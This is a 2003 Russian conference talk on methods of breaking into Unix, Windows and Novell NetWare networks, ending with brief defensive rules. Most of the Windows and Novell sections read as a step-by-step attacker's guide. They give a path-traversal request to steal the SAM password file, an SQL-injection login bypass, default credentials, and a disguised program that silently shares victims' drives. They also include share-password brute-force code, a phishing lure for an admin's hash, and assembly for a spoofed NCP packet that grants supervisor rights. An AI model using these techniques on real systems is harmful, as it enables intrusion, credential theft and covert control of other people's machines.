Чурилов В.В. Доклад на тему “Методика вторжений, способы нападения на компьютерные сети”. Конференция, посвященная компьютерной безопасности. ДонНТУ, Ноябрь 2003 года.
Введение
“Все,
что сделано одним человеком, может быть
сломано другим человеком” |
|
“Не
ошибается только тот, кто ничего не
делает” |
|
Не случайно данный доклад был начат именно с эпиграфов. Действительно, история преступлений в сфере информации, в частности, история взлома компьютерных сетей учит тому, что взломана может быть любая компьютерная сеть, однако разумным подходом к ее защите, постоянными пополнениями своих знаний и обновлением операционной системы администратор может добиться того, что любой хакер будет иметь серьезные проблемы как со взломом сети, так и выводом ее из строя.
Сразу
стоит оговориться, что взлом компьютерной
сети возможен как снаружи, т.е. с удаленного
хоста, так и изнутри, когда злоумышленник
повышает свои привилегии и получает доступ
к секретным данным, а то и полностью
нарушает работу сети с хоста,
принадлежащего этой сети.
Кроме
того, не стоит считать, что та или иная
операционная система или сеть лучше какой-либо
иной. Все операционные системы обладают
своими достоинствами и недостатками,
которые являются продолжениями достоинств,
причем часто недостатки операционных
систем и становятся причинами их взлома. В
данном докладе я сделаю попытку
проанализировать методику взлома серверов
и сетей на базе наиболее популярных
операционных систем семейства Unix
и Microsoft
Windows
NT/2000/XP/2003.
Кроме того, я коснусь решения некоторых
проблем безопасности, связанных с
использованием этих ОС и построением на их
основе локальных сетей.
1
Методика вторжений в компьютерные сети на
базе ОС Unix
Повышение
интереса к TCP/IP
сетям обусловлено бурным ростом сети Internet.
Однако, это заставляет задуматься над тем,
как защитить свои информационные ресурсы и
компьютеры от различного рода
злоумышленников. Для того, чтобы
разработать реально действующие контрмеры,
необходимо знать способы и методы
взломщиков. В мировом сообществе Internet
уже давно ведется дискуссия о том
публиковать или не публиковать материалы о
методах проникновения в чужие компьютерные
сети. После жарких обсуждений, похоже, была
осознана необходимость полной открытости
по этому вопросу.
Взлом
любой локальной сети фактически начинается
и заканчивается взломом WEB-сервера
этой сети. Взломав его, хакер получает
доступ практически ко всем ресурсам
локальной сети организации, причем его
усилия по получению доступа к ресурсам сети
ничто по сравнению с усилиями по взлому WEB-сервера.
Практически
любой взлом начинается со сканирования
портов удаленной машины. Далее атакующий
выясняет тип операционной системы. Кроме
того, часто используются сканеры
уязвимостей cgi-скриптов.
Однако, этот способ мало реален, т.к. часто
на сайтах используются оригинальные
скрипты и найти в нем уязвимость с ходу не
получится. К тому же, уязвимости может
просто не быть. Однако, об этом методе все
равно не стоит забывать. Обладая
информацией об открытых портах и типе
операционной системы, хакер может
определить какой тип атаки ему выбрать.
Использование
эксплоитов.
Эксплоит
– программа, приводящая к тому, что
злоумышленник получает права
суперпользователя в системе, используя
ошибки в программном обеспечении
запущенных сервисов сервера. Эксплоиты
бывают как для удаленного использования,
так для локального. Удаленные эксплоиты
используют различные уязвимости в сетевых
службах сервера: FTP-сервер,
telnet,
sendmail,
NFS
и т.д. Локальные эксплоиты используют для
повышения прав до суперпользователя,
однако для этого необходимо иметь shell
на сервере да и с точки зрения личной
безопасности хакера использование
локального эксплоита нецелесообразно.
В
основе большинства эксплоитов лежит
использование самой распространенной
уязвимости в области беповастности
программного обеспечения – переполнение
буфера (buffer overflows). Первая атака с
применением данной уязвимости
использовалась в вирусе-черве Морриса в 1988
году. С тех пор их число увеличивается с
каждым годом. В настоящее время можно
говорить, что уязвимости, связанные с
переполнение буфера являются
доминирующими при удаленных атаках, где
обычный пользователь сети получает
частичный или полный контроль над
атакуемым хостом. Анализ атак и
обнаруженных уязвимостей последних лет
показывает, что данная проблема является
первостепенной. Так, например, 9 из 13
выпусков CERT (Computer Emergency Response Team site) в 1998 году
и по крайней мере половина выпусков 1999 года
связаны с переполнением буфера.
Информационный обзор популярного списка
рассылки Bugtraq показывает, что примерно 2/3
респондентов считает переполнение буфера
основной причиной нарушения сетевой
безопасности. Отметим, что переполнение
буфера присуще также программному
обеспечению ряда аппаратных средств.
Очевидно, что эффективное решение данной
проблемы позволит исключить большую долю
самых серьезных угроз компьютерной
безопасности.
Основа
атак с использованием этой уязвимости -
принцип функционирования операционных
систем, где программа получает привилегии и
права запустившего ее пользователя или
процесса. Таким образом, менее
привилегированный пользователь или
процесс, который взаимодействует с данной
программой может использовать ее права в
своих целях. Штатные средства программного
обеспечения не позволяют выполнять такие
действия. Однако “переполнение буфера”
все же делает это возможным. Использование
данной уязвимости подразумевает изменение
хода выполнения привилегированной
программы, например, запуск командной
оболочки с правами администратора, что
чревато взломом всей системы.
Взлом
через электронную почту.
Для
пересылки электронной почты по IP
на подавляющем большинстве систем
используется программа sendmail,
разработанная в университете Беркли.
Задуманная как чисто служебная утилита, эта
программа приобрела огромную популярность
и вошла в состав дистрибутива многих Unix-систем.
Однако она содержала в себе очень серьезную
ошибку, благодаря которой любой желающий
имел возможность выполнить на удаленной
машине команды с привилегиями
суперпользователя. Обычно взломщики
пытались отправить себе файл passwd
для подбора паролей либо помещали свою
информацию в файлы, использующиеся
программами rlogin,
rsh
для запуска shell
без запроса пароля.
Использование
NFS.
Кроме
электронной почты в TCP/IP
сетях очень широко применяются различные
виды распределенных файловых систем, самой
популярной из которых является Network
File
System
(NFS).
В случае неаккуратного заполнения файла /etc/exports
или использования дистрибутива с ошибкой (SunOS
4.1) может возникнуть опасная ситуация.
Если
на машине работает NIS-сервер
и не принято дополнительных мер, то с
помощью специальной программы можно
утащить по сети файл passwd,
общий для некоторого числа машин. В случае
несоблюдения правил при создании паролей,
есть довольно приличная вероятность, что
программа crack
подберет несколько. Дальнейшие события
могут разворачиваться по одному из
сценариев для получения полномочий
суперпользователя (после того, как вы
зашли на удаленную машину как пользователь).
Естественно,
что если известны способы преодоления
защиты, то должны быть разработаны и
средства защиты. Для минимизации возможных
попыток проникновения в сеть очень
эффективен маршрутизатор, умеющий
анализировать поток проходящей через него
информации и осуществляющий фильтрацию
пакетов. Эта возможность реализована
практически во всех аппаратных
маршрутизаторах (cisco,
wellfleet...)
и в виде специального ПО для Unix-машин
(Sun,
DEC,
BSDI,
FreeBSD).
Такие
маршрутизаторы позволяют осуществлять
работу в сети строго по определенным
правилам. Например, не пропускать из/в
локальную сеть некоторые протоколы. Очень
рекомендуется запрещать rlogin,
rsh,
RPC
(см. Примеры), а также пакеты, направленные
на порты 2048 и 2049, - это порты данных для NFS.
Также рекомендуется четко определить
машины, принимающие почту, и открыть порт 25
только для них. При необходимости возможна
конфигурация, которая вообще запрещает
какие-либо заходы по сети в локальную сеть,
при этом разрешая изнутри использовать
любые TCP-сервисы
глобальной сети. Подобный маршрутизатор
или комбинация из нескольких машин и
фильтрующих маршрутизаторов получили
название брандмауэр (от англ. firewall
- стена огня).
Для
установления полного контроля за всеми
соединениями можно использовать так
называемый программный брандмауэр (software
firewall).
Он представляет собой своеобразный
маршрутизатор, который осуществляет
контроль за соединениями не на уровне IP-пакетов,
а на уровне собственно контролируемых
протоколов.
В
этом случае режим прозрачной пересылки
пакетов выключен, но вместо программ,
обеспечивающих работу с необходимыми
протоколами (telnet,
ftp...),
запускаются программы, которые транслируют
эти протоколы в сеть по другую сторону
машины, обычно сверившись по базе данных на
предмет правомерности такого соединения и
после идентификации пользователя.
Кроме
того, появление брандмауэров и аппаратных
роутеров нового поколения практически
изжила такой ранее популярный вид атак, как IP-спуффинг.
Фактически, IP-спуффинг
это подделка атакующим своего IP-адреса
перехват траффика из локальной сети и
получение его на своей машине.
2
Методика вторжений в компьютерные сети на
базе MS
Windows
NT/2000/XP/2003
Взлом
WinNT, не прикрытого firewall'ом и закрытыми 135-139
портами, через интернет.
Шаг 1. Определение ОС.
Сканируем порты. Если видим хоть и закрытые, но порты 135-139, то это WinNT. Если только 139, то это может быть и Windows 9x.
Далее описывается взлом WinNT, т.е. с присутствием 135-139 портов.
Шаг 2. Опись элементов. Сбор сведений.
Процесс извлечения извлечения действующей учетной записи или имен экспортируемых ресурсов мы называем перечнем или описью.
Типы информации перечня подразделяются на следующие группы:
а)
Сетевые разделяемые ресурсы;
б)
Пользователи и группы;
в)
Приложения и заголовки.
Перечень разделяемых ресурсов мы получаем при помощи утилиты Legion. Вводим старт ip что-то пипа 192.143.198.0, а в энд ip что-то типа 192.143.198.255.
И получаем список. Конечно, везде нужен пароль. Но об этом позже.
Далее мы будем пытаться узнать имена пользователей. Поэтому попробуем зателнетиться на порт 23. Если получилось, то просто запускаем на удаленной машине (сервере) nbtstat с параметром -A 192.143.198. И мы получим список пользователей. Если так не получилось, то ладно, потом мы все равно их получим.
Можно также попробовать это сделать утилитой IP Network Browser. Там понятный интерфейс.
Получение перечня приложений можно организовать при поиощи telnet, зателнетившись на порты 80 (http), 25 (smtp), 21 (ftp). Большинство приложений откликнется. Есть замечательная утилита DumpACL, котрая покажет каждую службу Win32 и драйверы ядра удаленной системы.
Шаг 3. Поиск дырявых скриптов.
Дыры то дырами, но проблема в том, что сканеров cgi дыр уйма, а вот asp лично я не нашел.
Как известно на платформе WinNT используются скрипты asp и cgi, это очень хорошо, так как существует множество стандартных скриптов, которые просто усыпаны различного рода дырами. Начнем c asp, тут главное для нас это увидеть исходный код asp. Эта уязвимость закрыта практически везде, но попробовать стоит. Это все логично, если на сервере распологается Web-сайт. Если к скрипту после его имени в строке браузера добавить точку (file.asp.) или заменить ее в имени на %2e, то иногда мы видим отображение исходного кода сценария. Что нам это даст? Там хранятся некотрые пароли (незашифрованные), например, на сайте xakep.ru в скрипте edit.asp они (пароли) есть абсолютно точно, но там дыры заткнуты. Также можно добавить к имени файла вот такой запрос ::$DATA и тоже получим исходный код. Но это нам не так важно, как просмотр резервной копии SAM. Дело в том, что админ в WinNT никаким образом не может перевести пароли в другое место нежели SAM. При поиске файлов на сервере мы можем наткнуться на скрипт codebrws.asp, он дает нам возможность получения SAM, синтаксис запроса должен быть такой: codebrws.asp?source=/../../../../winnt/repair/sam._
Диагностический сценарий shopdbtest.asp, доступный любому пользователю, позволяет раскрыть местоположение базы данных внутри значения xDatabase. Может пригодиться не каждому.
В установке по умолчанию, файлы конфигурации shopping400.mdb/shopping300.mdb доступны через интернет. В файлах содержится все данные конфигурации, включая детали о пользователях и их кредитных карточках в незашифрованном виде. По умолчанию устанавливается пароль администратора vpasp/vpasp или admin/admin. На многих Web сайтах этот пароль не изменяют. Также возможно обойти идентификацию имени пользователя и пароля, вводя следующие значения в поле имени и пароля: 'or''=' в сценарии shopadmin.asp. Но это только для интернет-магазинов.
Вот еще несколько дырок:
- Уязвимость механизма пакетной передачи данных. В версиях 4.0, 5.0 и 5.1 IIS обнаружена уязвимость данного рода, которая приводит к ошибке присвоения размера буфера передаваемых данных.
- Уязвимость при обработке информации http-заголовка.
-
Уязвимость при обработке ?server-side includes¦ и ISAPI
фильтра, отвечающего за HTR файлы.
Кроме названных дыр, также есть следующие проблемы:
- Дыры, приводящие к отказу системы в работе и бесполезности веб-сервера. Одна из них вызвана некорректной работой ISAPI фильтров в сбойных ситуациях, а другая - неправильной обработкой запросов о состоянии текущего соединения FTP службой FTP.
- Три уязвимости ряда ?Cross-Site Scripting¦: одна связана со страницей поиска файлов IIS, другая - со страницей ошибки http-соединения (http error page), и третья - со страницей, сообщающей об ошибке перенаправления URL
Одной из самых перспективных дыр является уязвимость в default.asp. При следующем синтаксисе мы получаем путь с некоторым файлам на серваке:
Использовать
эту уязвимость можно следующим путем:
http://www.xxx.com/default.asp?sector=anything
Например:
http://www.xxx.com/zzz/default.asp?sector=lamers
выдаст
вам окно со следующей информацией:
error
'80020009' Exception occurred. D:SITIOS_WEBTECTIMESNUEVOzzz../body.htm, line 74
Как вы можете прекрасно видеть, что это показан реальный путь к каталогу сайта.
О
cgi дырах писать нет смысла (много об этом
говорилось). В WinNT их к тому же затыкают не
так часто как на Unix, т.к. в юниксе перл
является стандартным языком, а в Windows
встраиваемым.
Шаг 4. Усилия на SAM или переборщики.
Если уж вы задались целью получить доступ к этому серваку, то вам так или иначе нужны пароли его администраторов или сначала просто пользователей. Можно попробовать стандартный guest во всех его сочетаниях. Еще есть тут одна загвоздка, дело в том, что при пользовании Unix, админ всегда имеет имя пользователя root, a тут это может быть admin, administrator и тп.
Если всеми предыдущими способами вам не удалось утянуть "САМ", то наверняка этот сервант круто защищен, чтож придется атаковать в лоб. Скачиваем какой-нибудь переборщик паролей и, соответственно, перебираем. Через неделю труда у вас будет пароль хотя бы одного пользователя. И тут наша задача облегчается. Раз у нас есть пароль пользователя, значит мы можем ПОЛЬЗОВАТЬСЯ серваком. Это базовый закон.
Шаг 5. Повышение прав.
Наверняка, будучи ложным клиентом данного сервера вам можно будет просмотреть информацию о других пользователях. Так мы узнаем, у кого есть права администраторов, кто это. Тут подобрать пароль будет уже легче, чем в предыдущем случае.
Шаг 6. Завершение.
Если
вам повезло и вы получили доступ ко всем
файлам или только к SAM
и стянули его. Расшифровать пароли помогут
уже готовые программы.
Способ
второй (не сильно отличен от первого).
Первым
делом необходимо узнать имена
пользователей зарегистрированных на
данной системе. Начнем, конечно же, с утилит
User2Sid и Sid2User.
Команда:
user2sid IP-адрес удаленной машины "Power users"
или
user2sid IP-адрес удаленной машины "Domain users"
Результат примерно такаю строка:
S - 1 - 5 - 25 - 8215467 - 1456327812 - 162345100 - 513
Далее в командной строке указывается:
sid2user IP-адрес удаленной машины 5 25 8215467
1456327812 162345100 500
Последняя цифры равняется 500, это
идентификатор администратора, точно также
как в Юникс Uid админа равен 0.
Ответ сервера будет приблизительно таким:
Name
is pupkin.
Теперь
у атакующего есть имя администратора.
Другие способы получения имен
пользователей:
1. net view IP-адрес машины
2. nbtstat -A IP-адрес машины
3. Используя Legion.
4. Используя программу Enum (работает
только в NT/2000). У этой программы очень много
возможностей, вплоть до метода удаленного
подбора пароля.
Методы:
1. Удаленный подбор пароля.
Для этих целей можно использовать Brutus или же другую не менее распространенную программу, которая называется Cerberus InternetScanner: http:// www.cerberus-infosec.co.uk/cis.shtml
2.
Удаленное переполнение буфера.
Для
этого нужно найти на technotronic.com или securityfocus.com
эксплоиты для WinNT (IIS - 4,5). Например, iishack.
3. Другой метод заключается в том, чтобы поставить у себя сервер, залить на него какую-нибудь информацию, которая пользуется большим спросом, установить сниффер, который будет перехватывать пароли. После этого слать на электронный адрес администратора сервера письма-спам с приглашением на сайт. После того как администратор зайдет на "опасный" сайт, у атакующего будет хешированный пароль. С помощью программы, указанной выше (lophtcrack), можно расшифровать этот пароль.
4.
Социальная инженерия и троянцы.
Задача
атакующего убедить пользователя NT
запустить вложенный файл, который является
ничем иным как троянцем: NetBus, Back Orifice или
SubSeven или же keylogger.
5.
Использование ошибки Unicode.
Уязвимость
достаточно стара, ей подвержены IIS
4.0 и 5.0 на базе ОС Windows
NT
4.0 и Windows
2000. Однако еще встречаются в Интернет
серверы, настроенные по умолчанию, без
сервиспаков, установленных “заплат”, с
ленивыми администраторами. Использование
ошибки Unicode
позволяет получить доступ через веб-броузер
к директории веб-сайта на сервере, адалее
все зависит от желания атакующего: сделает-ли
он только дефейс или займется получением
какой-либо информации, что намного опаснее.
Взлом компьютерной сети изнутри более прост. Нет необходимости проникать в сегмент локальной сети, маскироваться, есть возможность проделать все, необходимые злоумышленнику, действия незаметно и быстро.
Сейчас
существует два стандарта наиболее
распространенных стандарта локальных
сетей: Microsoft
Network
и NowellNetware.
Взлому
подвержена и та и другая.
Взлом
сети Microsoft.
Применение
троянских коней, клавиатурных и сетевых
снифферов, слабая защита паролей в ОС Windows
95/98/ME,
недостатки файловых систем, недостатки
реализации систем безопасности самих ОС,
огромное количество различных руководств
по взлому и прилагающихся программ делает
задачу взлома локальной сети Microsoft
доступной даже относительно
неквалифицированному пользователю.
Большуюроль в данном случае играет то.
Какова политика безопасности системного
администратора.
Вот
один из способов взлома корпоративной сети
на базе Windows
изнутри.
Итак,
мы в сети.
Поставим себя на место человека, которому все очень интересно...
И
с чего мы начнем? С исследования, конечно.
Погуляем по сети, поглядим, где доступ
только на чтение, а где и полный. Находим
разные шары, доступные на чтение (например,
с именем "install", "temp"), а на запись
если и находим, то это что-то типа "obmen"
или "income", и путного ничего там нет. А
основная масса ресурсов требует пароль. Но
иногда натыкаемся шары с именем "c", "d"...
Это очень интересно. Расшаренный в корне
диск, это всегда опасно. Пока будем
действовать примитивно. Первым делом
находим папку "Windows" и вытягиваем
оттуда все *.pwl файлы и сохраняем у себя на
диске. По названиям этих файлов, по их
размеру и количеству мы уже можем сделать
кое-какие выводы. Например, файл oleg.pwl ясно
дает понять как зовут человека, сидящего за
этой машиной. Чем больше файл, тем больше в
нем сохранено паролей к ресурсам. Если
файлов PWL на машине штук пять, это значит что
за машиной сидит довольно много людей. Хотя
может быть и то, что эти файлы создались уже
давно, а на машине валяются без применения.
Ведь если вы первый раз входите в систему,
для вас создается новый PWL, в котором будут
храниться...
Что
мы можем найти в PWL? Начнем вскрытие. Берем
любую программу для взлома паролей и
действуем согласно инструкции. Что мы видим?
PWL - это "копилка", в которую помещаются
все пароли, которые пользователь вводит для
доступа к удаленным ресурсам.
Все
пароли, хранящиеся в PWL, закрыты только
одним паролем - тем, который вводится при
входе в систему. И чаще всего его или нет,
или он короткий (хотя всякое бывает).
Поэтому мы легко их вскрываем и получаем
доступ к другим машинам. Затем вытягиваем
из них PWL и поступаем так же.
Что
тут можно посоветовать? Простым вариантом
будет добавление символа "$" к имени
ресурса, что сделает его невидимым для всех
в сетевом окружении. Чем меньше человек
знают о нем, тем меньше шансов быть
атакованным. Но не стоит задавать простые
имена типа "C$", так как их довольно
часто проверяют взломщики.
Немного
творчества.
Ну
что же? Теперь мы имеем доступ к некоторым
ресурсам. Что еще можно сделать? Например,
переписать, куда только можно программку,
которая при запуске сделает доступными все
диски и на чтение, и на запись. Называем ее
подходящим именем в расчете на то, что кто-то
ее запустит.
Теперь
на жертву можно зайти так - "Выполнить",
"comp_name emp1$" (это диск C). Что в этом
удобного? Диск расшаривается с флагами
SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST, а имя ресурса
заканчивается знаком "$". Это значит,
что:
1)
Мы имеем полный доступ.
2)
Шара становится системной. Т.е. в проводнике
(локально) не будет видно, что диск расшарен.
3)
Шара не будет видна всем в сети.
Можете
поэкспериментировать с этой программкой и
поставить себя теперь на место
пользователя. Вот вы увидели файл, который
не вы записывали. Вам сразу хочется узнать
что это, и, если файл не нужен, удалить его.
Вы запускаете и видите что-то типа "программа
выполнила недопустимую инструкцию".
Первая мысль обычно о том, что программа
просто не работает. Вы со спокойной душой
удаляете файл и даже не подозреваете, что
темное дело уже сделано. Все. Вы под полным
контролем. Тут не поможет никакой антивирус.
Попробуйте зайти с другой машины на ваши
диски. Теперь не забудьте удалить из
реестра эти ресурсы. Они находятся в
разделе
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan.
Кстати, есть еще возможность создания reg
файла, который автоматически создаст
необходимые ключи в реестре. Но это слишком
заметно, и вряд ли пользователь попадется
на такую уловку. А метод с exe файлом работает
довольно успешно.
Ну
а если на некоторые машины вы так и не
смогли попасть, можно попробовать взломать
пароли удаленно перебором. Для этого даже
существуют специальные программки. Но
переборщик паролей на сетевые ресурсы по
словарю редки. Вот код, который подключает
сетевой диск (Win9x only):
//
на
входе
параметры
- char *resname, char *password
DWORD
RetVal;
NETRESOURCE
nr;
nr.lpRemoteName=resname;
nr.dwType=RESOURCETYPE_DISK;
RetVal=WNetAddConnection2(&nr,password,NULL,CONNECT_UPDATE_PROFILE);
Немного
теории.
При
использовании такого метода в случае, когда
удаленная машина Win9x, перебор ведется
довольно быстро. Если же вы пытаетесь
подключиться к NT, существует некоторая
задержка в случае неверной комбинации имя/пароль.
Но если вы подключаетесь как администратор,
такой задержки нет. В то же время, все
попытки (удачные/неудачные - в зависимости
от настроек) регистрируются в журнале
событий NT. Поэтому заранее стоит подумать о
том, что таким способом можно переполнить
журнал - это позволит злоумышленнику
уничтожить более важную информацию в логах.
Но
не всегда нужен перебор всех вариантов
паролей. Для машин Win95/98/Me дела обстоят
намного хуже. В реализации авторизации SMB-сессии
Microsoft допустила ошибку, поэтому, путем
написания специального эксплоита, можно
получить доступ к жертве, потратив на взлом
пароля, примерно, столько времени, сколько
необходимо затратить на подбор одного
символа, умноженного на их количество. Вы
можете увидеть программную реализацию
использования этой ошибки, если в поисковом
сервере наберете "PQWak". Он выдаст
множество ссылок на эту программу. А если же
вы хотите версию программы, написанную
нашим программистом, можете искать по слову
"xIntruder". Эта программа, в отличие от
предыдущей, понимает русские символы в
именах машин. Поиграйте с этими программами
и не удивляйтесь, когда за одну секунду
будет взломан пароль длинной в 7 символов. А
затем, чтобы спалось спокойней, закачайте
официальный патч от Microsoft и раздайте всем,
кому только можно.
Вышеуказанные
программы работают по протоколу TCP,
устанавливая соединение со 139-м портом на
жертве, и вручную формируя пакеты сессий.
Если же в сети используется протокол IPX,
приходится сложнее. У меня пока есть планы
на счет реализации этого алгоритма в
программе, работающей на протоколах и TCP, и
IPX.
А
теперь послушаем...
Нельзя
забывать, что путем простого сниффинга сети
можно добыть огромное количество
информации, в частности, пароли. К несчастью
(для большинства), во многих протоколах на
базе TCP, по старинке, пароль передается в
открытом виде. К таким протоколам относятся
telnet, ftp, pop3 и многие другие (примечание: если
у вас есть желание исследовать какой-либо
протокол и посмотреть "что же там внутри",
вы можете использовать для этого мой
инструмент "TCP_LOGGER"). На смену им пришли
"ssh", "apop" и подобные, но полный
переход на новые протоколы еще займет
немало времени. Но все же, уже нельзя, как
раньше, легко перехватывать пароли на SMB
сессии. Они перестали передаваться в
открытом виде. Эта проблема была в
диалектах "LANMAN1.0" и др., а в более
поздних, таких как "LANMAN2.1" и "NT LM
0.12" и используется шифрование пароля
ключом, сгенерированным сервером, и по сети
передается лишь hash-значение. Это, конечно,
затрудняет взлом, но не делает его
невозможным. Ведь затем можно попытаться
подобрать пароль, перебирая возможные
пароли и накладывая на него ключ сервера,
сравнивая результат с имеющимся. При
наличии быстрой машины и большого объема
оперативной памяти, можно добиться очень
высоких показателей скорости перебора.
Другой
пример. Допустим, в вашем сегменте стоят
машины с NT. Берем программу L0phtCrack и выбираем
в меню "sniffing". Теперь она будет
прослушивать все сетевые подключения и
сохранять протокол в файл. Затем той же
программкой и вскрываем их.
Какие
есть возможности усложнить жизнь взломщику?
Во-первых,
если в вашей сети используются только NT, и
вам не нужно обеспечить возможность входа с
машин Windows95/98/Me, в реестре можно подправить
один ключ, касающийся с совместимости с
LANMAN2.1, что позволит увеличить стойкость
пароля, так как стандартно в паролях NT
различается регистр символов, а в Windows9x - нет.
Во-вторых,
путем использования, например, свитчей
вместо хабов. Повторители, хаб, коаксиал -
это все, что формирует среду, образуя "collision
domain". То есть, весь трафик является общим,
что позволяет с любой машины перехватывать
все пакеты, передающиеся какой угодно
машиной в этом сегменте. В отличие от хаба,
порты коммутатора разделяют "collision domain"
и образуют "broadcast domain". Он работает с MAC
адресами и на ходу стоит "route table".
Поэтому пакет, адресованный какой-либо
машине, будет передан на соответствующий
порт свитча, а на остальных портах никаких
событий не произойдет. Но помните(!), если в
настойках не заданы жестко все MAC адреса, и
свитч на лету обновляет таблицу
соответствия интерфейсов портам, то
остается возможность обмануть любую машину,
послав ложный ARP, или ICMP пакет с сообщением о
другом маршруте. Таким образом, мы можем
перенаправить трафик на свой порт... более
подробно об этом можно почитать в статьях
на Сервере UInC.
К
чему все это?
Снова
представим себя на месте взломщика.
Что мы можем полезного из всего извлечь? Если жертва имеет выход в internet, можно повесить туда программу, которая замэппит какой-нибудь порт на proxy. Это возможно даже в таких случаях, если до машины вы можете добраться только по IPX/ SPX. Это был proxy из двух половинок с преобразованием TCP->SPX->TCP. (Просто для маршрутизации в сеть с выходом в internet использовался "Nowell Netware", работающий только с кадрами 802.3). А потом у других возникают вопросы - откуда берется трафик... Кстати, узнать, есть ли у машины доступ в Сеть можно довольно просто. Загляните, что там установлено в "Program Files", проверьте "Temporary Internet Files" (кэш).
Взлом
NowellNetware.
Этот
стандарт сети все еще используется. Весьма
распространен он в банках.
1.Принцип
обмена пакетами.
Прежде
всего, сервер и рабочие станции посылают
пакеты друг другу в соответствие со
специальным протоколом известным как Netware
Core Protocol ( NCP ) основанным на протоколе IPX. Все
пакеты подписываются уникальным номером в
диапозоне от 0 до 255 хранящемся в одном байте.
Это поле известно как Sequence Number. Смотрите на
структуру пакета.
Структура
пакета
Поле
Число Положение азначение
байт
в памяти
---------------
Физический заголовок пакета ------------------
ReceiverAddress
6 Normal Адрес рабочей станции,
которая
будет получать пакет
SenderAddress
6 Normal Адрес рабочей станции,
которая
посылает пакет
DataLength
2 High-Low Длина
пакета
--------------------
Заголовок протокола IPX -----------------
CheckSum
2 Normal Контрольная сумма
IpxLength
2 High-Low Длина
пакета
HopCount
1 - Число мостов
PacketType
1 - Тип пакета
DestNetwork
4 Normal Адрес сети назначения
DestNode
6 Normal Адрес станции назначения
DestSocket
2 Low-High Сокет программы назначения
SourceNetwork
4 Normal Адрес сети источника
SourceNode
6 Normal Адрес станции источника
SourceSocket
2 Low-High Сокет программы источника
----------------------
Заголовок протокола NCP -------------------
RequestType
2 Low-High Зависит от запроса
SequenceNumber
1 - Номер пакета
ConectionNumberLow
1 - Номер соединения назначается
во
время подсоединения
станции
к серверу
TaskNumber
1 - номер задачи. Это для рабочей
станции
наверно. Не стоит о
нем
заботиться. Просто поставьте
0
или любое значение.
ConectionNumberHigh
1 - Всегда 0.
FunctionCode
1 - Идентификатор функции
------------------
Данные протокола NCP ------------------------
-
- - Зависит от типа запроса и функции
Инициатором
является станция. Она посылает пакет с
запросом и ждет ответа. Сервер получая
запрос, проверяет адрес станции, адрес сети,
сокет, номер соединения и sequence number. Если что-нибудь
не в порядке сервер отказывается выполнять
запрашиваемую операцию и посылать ответ.
2.Общая
идея взлома.
Как
было сказано выше сервер проверяет все
пакеты, которые он получает. Но если
сформировать пакет как это делает другая
станция, поставить ее адрес, номер
соединения и т.д. и послать его в сеть, то
сервер никогда не узнает чей запрос он
выполняет. Основная трудность - sequence number,
потому что другие поля могут быть получены
с помощью обычных функций. Чтобы быть
уверенным, что сервер выполнил операцию
нужно послать тот же самый пакет 255 раз с
разными sequens numbers.
3.Как
получить права супервизора
Вы
можете получить права супервизора просто
став его эквиваленитом. Есть функция
известная как EQUEVALENT TO ME, которую следует
посылать от имени супервизора. Смотрите на
структуру пакета.
Структура
пакета с фукцией EQUEVALENT TO ME
-------------------
Заголовок физического пакета ---------------
RecAdr
db 00,20h,0afh,4fh,5fh,0ah
SndAdr
db 00,20h,0afh,089h,022h,0afh
DataLength
db 01,68h
-----------------------
Заголовок
IPX пакета
-------------------
dw
0ffffh
IpxLength
db 01,67h
db
0
db
17
DestNetwork
db ?,?,?,?
DestNode
db ?,?,?,?,?,?
DestSocket
db 04,51h
SourceNetWork
db 00,00,01,02
SourceNode
db ?,?,?,?,?,?
SourceSocket
db 40h,03
---------------------
Заголовок пакета NCP --------------------
db
22h,22h
SequenceNumber
db 48
ConnectionNumberLow
db 24
db
4
db
0
db
68h
db
2
------------------------
Данные пакета NCP --------------------
dd
-1
dd
514
S1_2:
dd offset S1_1 - offset S1_2-4
dd
0
dd
9
dd
0
dd
0
dd
0
S1ID
db 67h,02h,00,06h
dd
1
dd
5
dd
34
db
'E',0,'q',0,'u',0,'i',0,'v',0,'a',0,'l',0,'e',0
db
'n',0,'t',0,' ',0,'T',0,'o',0,' ',0,'M',0,'e',0
dd
0
dd
1
dd
26
db
'3',0,'1',0,'0',0,'5',0,'.',0,'I',0,'N',0,'F',0
db
'.',0,'T',0,'S',0,'U',0
S1_1:
Чтобы
получить адрес, сеть, сокет, ID, номер
соединения используй- те след. функции.
Получить
номер соединения
ah=E3h
ds:si=>
ConReq
dw
2 - длина
db
16h - подфункция
db
? - номер соединения
es:di=>
ConRep
dw
62 - длина
db
4 dup (?)
dw
? - тип пользователя
db
56 duo (?) - имя пользователя
int
21h
Вы
можете послать пакет через IPX драйвер (функция
9), однако в этом случае вы не имеете доступа
к физическому заголовку пакета. Мы полагаем,
что сервер не проверяет адрес отправителя
там. Вы также можете послать через LSL
драйвер, но это слишком сложно. Самый
простой способ - послать через ODIPKT драйвер (функция
4). Послать пакет через Odipkt
ah=4
cx=длина
ds:si=>пакет
int
60h
C=1
если ошибка
Процедура
посылки пакетов
Send
proc
mov
SequenceNumber,0
@@1:
push ds
push
es
mov
ah,4
mov
cx,Length
mov
si,offset Packet
int
60h
pop
es
pop
ds
jc
@@1
mov
cx,1000
loop
$-2
dec
SequenceNumber
jne
@@1
ret
Send
endp
4.Последствия.
После
ответа на пакет сервер ждет следующего с
увеличенным на 1 sequence number"ом. Если вы
попытаетесь вставить ваш пакет в работу
между сервером и станцией, последняя
повиснет. Этого можно избежать посылкой еще
255*256 пакетов.
Заключение
Если
вы реализуете программу по этому документу
у вас будут права супервизора.
Конечно, данная работа не претендует на полноту. Существует множество методов нападения на компьютерные сети, каждая из которых по своему уникальна. Однако, если администраторы этих сетей будет придерживаться некоторых обязательных правил, опасность взлома сети можно свести к минимуму.
Правила эти таковы:
1. Постоянно следить за новостями безопасности: обновления программного обеспечения, информация о новых уязвимостях и о программах, устраняющих эти уязвимости.
2. Запретить все, что не разрешено.
3. Обучение персонала.
4. Использование современного антивирусного программного обеспечения.
5. Тщательно проверять ресурсы “своей” сети.
6. Грамотно настраивать как серверное программное обеспечение так и программное обеспечение роутеров. По возможности, использовать несколько рубежей защиты: программный и аппаратный брандмауэры, например.
Следуя этим правилам, можно обезопасить себя от многих проблем. Мелкий, начинающий хакер просто может не справиться со взломом, а более серьезный придет к вам только в исключительном случае. Но он тоже не будет тратить время на взлом вас каким-то новым, нестандартным методом – разработка атаки займет слишком много времени.
В
статье использованы материалы сайтов: